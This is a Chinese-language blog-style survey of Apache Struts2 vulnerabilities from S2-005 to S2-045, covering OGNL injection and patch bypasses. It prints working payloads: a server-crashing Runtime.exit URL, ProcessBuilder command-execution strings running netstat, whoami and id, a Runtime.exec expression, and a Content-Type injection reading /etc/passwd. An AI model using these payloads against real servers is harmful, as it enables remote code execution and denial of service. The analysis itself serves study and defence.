Struts2漏洞简述

S2-005漏洞
S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。
S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。
Payload如下:
http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
提交上述URL,就会导致服务器down掉。把编码转换过来为下面三个步骤:
(1)?('#_memberAccess['allowStaticMethodAccess']')(meh)=true
(2)&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))
(3)&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则,这个后面再说。第一步完成后,就可以执行静态方法了。
第二步将上下文中的xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。
第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。
S2-009漏洞
Struts2对s2-003的修复是禁止的#,因此s2-005正在使用该代码\u0023或\43绕过禁止; 然后禁止s2-005的修复\和其他阻止用户提交反斜杠的特殊符号。
但是,如果example在当前操作中接受参数,则此参数将发送到OGNL表达式。因此,我们可以将OGNL表达式代码放在example参数中然后执行它/helloword.acton?example=&(example)('xxx')=1,然后绕过特殊字符的防御,例如#,\。
S2-013漏洞
漏洞触发:
由于官方没有发补丁,所以最新版本的struts2还是有漏洞的,可以下载最新:Apache Struts 2.3.14 GA的示例应用。
经过简单测试,就看到了想要的结果。
根据官方给的信息,问题出在a标签,所以写个jsp页面,内容如下:
view source
| 1 | Click here. |
这个是struts2标签库的a标签,该标签会在页面上显示当前URL,当includeParams=all时,就会显示具体参数内容。
唯一需要解的迷,就是如何让参数内容作为OGNL表示试执行,但是这个迷未免太好猜了,我随手测试就出结果。
访问url:
http://localhost:8080/blank/error.jsp?aaa=${struts2的常用POC,你懂得}
就可以直接弹计算器,POC代码大家都有的,我只截个图:

Struts2漏洞简述
文章图片
image.png S2-016漏洞
分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如:
http://www.foo.com/bar/hello.action?user!add
foo!bar这种形式是动态的调用action中的方法,其中foo是action,bar是方法名,但是调用的前提是在struts.xml中事先进行配置。
当然这只是一种,这个类还有个重要的作用就是处理redirect、redirectAction、method、action
Payload:
127.0.0.1:8080/struts_hello/hello?redirect:
${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}
S2-019漏洞
POC:
?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A
从url编码转化回来为:
?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
S2-020漏洞
绕过方式是:
http://localhost:8080/Struts2/test.action?class["classLoader"]["resources"]["dirContext"]["docBase"]=xxxxx
补充:
1、高版本号须要用单引號':
class['classLoader']['resources']['dirContext']['docBase']
2、请勿任意尝试,漏洞利用代码会让对方站点挂掉
S2-032漏洞
此次漏洞存在于struts2的动态方法引用功能。只要在struts2配置文件中开启该功能,就可能被利用。

Struts2漏洞简述
文章图片
image.png
在配置了 Struts2 DMI 为 True 的情况下,可以使用 method: Action 前缀去调用声明为 public 的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI 的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。所以只要找到目标应用中有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL 表达式即可。
比如这样的ognl 表达式: #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#f=@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),#f.close&cmd=open /Applications/Calculator.app 通过反射调用(关于java的反射调用可以参考之前的一篇文章 Link)Runtime类的exec方法进行命令执行,这里是打开计算器的操作。
S2-037漏洞
S2-037的漏洞利用思路建立在s2-033的基础只上,还是对method没有进行过滤导致的,漏洞影响Struts 2.3.20 – Struts 2.3.28.1版本,使用到REST插件的Struts2应用,会被攻击者实现远程代码执行攻击,struts2 历次的漏洞公告和详情官方都有专门的页面进行整理和汇总,可以从这个页面找到历次的struts2的漏洞。
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins
2 struts2 s2-037漏洞详情分析
此次的s2-037是基于033的一个绕过,在033中,需要开启动态方法执行,也就是032的条件,同时还需要安装rest插件。而037中,不需要开启动态方法执行就能触发代码执行漏洞。
首先看看033触发过程
开启动态方法执行需要在struts.xml中配置,这和032没区别

Struts2漏洞简述
文章图片
image.png 在getMapping方法中,在处理动态代码执行过程中设置的属性没有做过滤

Struts2漏洞简述
文章图片
image.png 因为在uri中的!后面的属性加入到了mapping中,然后如果开启了动态代码执行,也就是allowDynamicMethodCalls开启,最后method会进入到com.opensymphony.xwork2.DefaultActionInvocation类的invokeAction方法,之后的就是跟032一样了,可以参考之前的我们分析struts2漏洞的文章。
接下来看看037怎么绕过开启动态方法,通杀所有rest插件的。

Struts2漏洞简述
文章图片
image.png 在调用完handleDynamicMethodInvocation(mapping, mapping.getName()); 后面又调用了
同时看到这里没有判断
所以这个地方不需要开启动态执行,同时也在这里给出了提示

Struts2漏洞简述
文章图片
image.png 这里加上了三目运算符才绕过测试结果如下:

Struts2漏洞简述
文章图片
image.png 可以看到成功执行了system命令。
Poc:

Struts2漏洞简述
文章图片
image.png S2-045漏洞
漏洞分析
Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码通过http报文头部的Content-Type字段传递给存在漏洞的服务器,导致任意代码执行漏洞。
漏洞POC

Struts2漏洞简述
文章图片
image.png 漏洞验证

Struts2漏洞简述
文章图片
image.png 细节分析
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.
从官方的漏洞描述我们可以知道,这个漏洞是由于Strus2对错误消息处理出现了问题,通过Content-Type这个header头,注入OGNL语言,进而执行命令。
本文的分析是基于Struts 2.3.24版本。首先看一下POC,攻击指令通过”Content-Type”传递给存在漏洞的服务器,如下图所示:

Struts2漏洞简述
文章图片
image.png 在传入的参数中,通过#nike=’multipart/form-data’语句使得后台判断语句content_type.contains(“multipart/form-data”)判断结果为true,以便攻击代码得以传入。同时将攻击代码’cat /etc/passwd’赋值给#cmd参数。接下来通过(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})来判断目标主机的操作系统类型,并选择性的进行指令赋值,最终,通过如下图代码,将攻击指令执行:

Struts2漏洞简述
文章图片
image.png 下面先看一下命令执行注入点:

Struts2漏洞简述
文章图片
image.png 在JakartaMultiPartRequest.java 的buildErrorMessage函数中,这个函数里的localizedTextUtil.findText会执行OGNL表达式,从而导致命令执行,我们先看下findtext的定义:
https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html

Struts2漏洞简述
文章图片
image.png
接下来它被JakartaMultiPartRequest.java中的parse调用。Struts2的入口FilterDispatcher.java接下来执行doFilter函数,执行完一些过滤后进入prepareDispatcherAndWrapRequest函数,再执行dispatcher.wrapRequest进入request处理分支,下图就是prepareDispatcherAndWrapRequest的实现,该函数对方法进行了处理:

Struts2漏洞简述
文章图片
image.png 接着我们看dispatcher.wrapRequest,当Content-Type为multipart/form-data的时候会调用MultiPartRequestWrapper,这个是一个对各种不同上传方式的封装,其中就包含Jakarta等传输方式:

Struts2漏洞简述
文章图片
image.png MultiPartRequestWrapper.java封装了parse函数:

Struts2漏洞简述
文章图片
image.png 我们来看下parse函数,如下图所示:

Struts2漏洞简述
文章图片
image
【Struts2漏洞简述】在parse函数中,当Content-Type格式不被识别时,出现异常,导致OGNL表达式被执行,这就是我们分析的最初的注入点。

    推荐阅读